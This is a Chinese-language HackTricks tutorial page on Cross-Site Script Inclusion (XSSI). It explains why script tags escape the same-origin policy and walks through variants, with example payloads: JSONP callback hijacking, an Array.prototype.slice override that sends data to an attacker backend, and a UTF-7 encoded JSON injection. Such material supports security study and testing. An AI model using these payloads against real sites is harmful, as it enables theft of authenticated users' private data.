XSSI (Cross-Site Script Inclusion)

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

基本信息

跨站脚本包含 (XSSI) 是一种漏洞,源于 HTML 中 script 标签的特性。与大多数资源不同,同源策略 (SOP) 并不适用于脚本,因此可以从不同域名中包含脚本。这种行为旨在促进使用托管在不同服务器上的库和其他资源,但也引入了潜在的安全风险。

XSSI 的关键特征:

  • 绕过 SOP:脚本不受 同源政策 的限制,允许跨域包含。
  • 数据暴露:攻击者可以利用这种行为读取通过 script 标签加载的数据。
  • 对动态 JavaScript/JSONP 的影响XSSI 对动态 JavaScript 或 带填充的 JSON (JSONP) 特别相关。这些技术通常使用“环境权限”信息(如 cookies)进行身份验证。当向不同主机发出脚本请求时,这些凭据(例如 cookies)会自动包含在请求中。
  • 身份验证令牌泄露:如果攻击者能够欺骗用户的浏览器请求来自他们控制的服务器的脚本,他们可能能够访问这些请求中包含的敏感信息。

类型

  1. 静态 JavaScript - 这代表了传统形式的 XSSI。
  2. 带身份验证的静态 JavaScript - 这种类型不同,因为它需要身份验证才能访问。
  3. 动态 JavaScript - 涉及动态生成内容的 JavaScript。
  4. 非 JavaScript - 指不直接涉及 JavaScript 的漏洞。

以下信息是 https://www.scip.ch/en/?labs.20160414 的总结。请查看以获取更多详细信息。

常规 XSSI

在这种方法中,私人信息嵌入在一个全球可访问的 JavaScript 文件中。攻击者可以使用文件读取、关键字搜索或正则表达式等方法识别这些文件。一旦找到,包含私人信息的脚本可以被包含在恶意内容中,从而允许未经授权访问敏感数据。下面展示了一种示例利用技术:

html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>

动态JavaScript基础的XSSI和认证JavaScript-XSSI

这些类型的XSSI攻击涉及机密信息在响应用户请求时动态添加到脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同,这可能表明存在机密信息。可以使用像DetectDynamicJS这样的Burp扩展来自动化此过程。

如果机密数据存储在全局变量中,可以使用与常规XSSI相似的方法进行利用。然而,如果机密数据包含在JSONP响应中,攻击者可以劫持回调函数以检索信息。这可以通过操纵全局对象或设置一个由JSONP响应执行的函数来完成,如下所示:

html
<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>
html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

对于不在全局命名空间中的变量,prototype tampering 有时可以被利用。该技术利用了 JavaScript 的设计,其中代码解释涉及遍历原型链以定位被调用的属性。通过重写某些函数,例如 Arrayslice,攻击者可以访问并泄露非全局变量:

javascript
Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}

关于攻击向量的更多细节可以在安全研究员 Sebastian Lekies 的工作中找到,他维护着一个 vectors 的列表。

Non-Script-XSSI

Takeshi Terada 的研究介绍了另一种 XSSI 形式,其中 Non-Script 文件,如 CSV,通过作为 script 标签中的源被跨源泄露。历史上 XSSI 的实例,如 Jeremiah Grossman 在 2006 年的攻击以读取完整的 Google 地址簿和 Joe Walker 在 2007 年的 JSON 数据泄露,突显了这些威胁的严重性。此外,Gareth Heyes 描述了一种攻击变体,涉及使用 UTF-7 编码的 JSON 来逃避 JSON 格式并执行脚本,在某些浏览器中有效:

javascript
;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
html
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks